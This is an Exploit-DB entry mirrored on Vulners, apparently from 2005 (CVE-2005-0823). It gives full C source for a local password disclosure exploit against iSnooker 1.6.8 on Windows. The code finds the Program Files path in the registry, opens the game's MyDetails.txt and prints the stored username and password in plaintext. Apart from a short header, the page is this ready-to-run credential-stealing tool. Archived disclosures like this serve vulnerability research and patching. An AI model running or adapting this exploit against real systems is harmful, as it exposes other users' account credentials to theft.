Search...

iSnooker <= 1.6.8 - Local Password Disclosure Exploit

2005-03-16T00:00:00
ID EDB-ID:884
Type exploitdb
Reporter Kozan
Modified 2005-03-16T00:00:00

Description

iSnooker <= 1.6.8 Local Password Disclosure Exploit. CVE-2005-0823. Local exploit for windows platform

                                        
                                            /*****************************************************************

iSnooker &lt;= v1.6.8 Local Password Disclosure Exploit by Kozan

Application: iSnooker 1.6.8

Vendor:
Memir Software - memirsoftware.com and
The Snooker Club - thesnookerclub.com

Vulnerable Description:
iSnooker 1.6.8 discloses passwords to local users.

Discovered & Coded by Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com

*****************************************************************/

#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
#include &lt;windows.h&gt;

HKEY hKey;
#define BUFSIZE 100
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;

int main()
{
       if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,

"SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
                                       0,
                                       KEY_QUERY_VALUE,
                                       &hKey) == ERROR_SUCCESS)
       {

           lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,
              (LPBYTE) prgfiles, &dwBufLen);

                       if( (lRet != ERROR_SUCCESS) || (dwBufLen &gt; BUFSIZE) ){
                                RegCloseKey(hKey);
                                printf("An error occured. Can't get password!\n");
                                return -1;
                       }

                       RegCloseKey(hKey);

   }
       else
       {
               printf("An error occured. Can't get password!\n");
               return -1;
       }

       printf("\n\niSnooker 1.6.8 Local Password Disclosure Exploit by Kozan\n");
       printf("Credits to ATmaCA\n");
       printf("kozan@netmagister.com\n");
       printf("www.netmagister.com - www.spyinstructors.com\n\n");

       char pwdfile[BUFSIZE], username[BUFSIZE], password[BUFSIZE];

strcpy(pwdfile,strcat(prgfiles,"\\TheSnookerClub\\iSnooker\\MyDetails.txt"));

       int addr, i, y;
       FILE *fp;
       char ch[100], ch2[100];

       if((fp=fopen(pwdfile,"rb")) == NULL)
       {
               printf("An error occured. Can't get password!\n");
               return -1;
       }

       fseek(fp,0,0);

       for(i=0;i&lt;30;i++)
       {
               ch[i]=getc(fp);
               if(ch[i]==0x0D)
               {
                       ch[i]=NULL;
                       strcpy(username,ch);
                       break;
               }
       }

       addr = ftell(fp);
       fseek(fp,addr+1,0);

       for(y=0;y&lt;30;y++)
       {
               ch2[y]=getc(fp);
               if(ch2[y]==0x0D)
               {
                       ch2[y]=NULL;
                       strcpy(password,ch2);
                       break;
               }
       }

       fclose(fp);

       printf("Username        : %s\n",username);
       printf("Password        : %s\n",password);

       return 0;
}

// milw0rm.com [2005-03-16]
JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2018
Protected by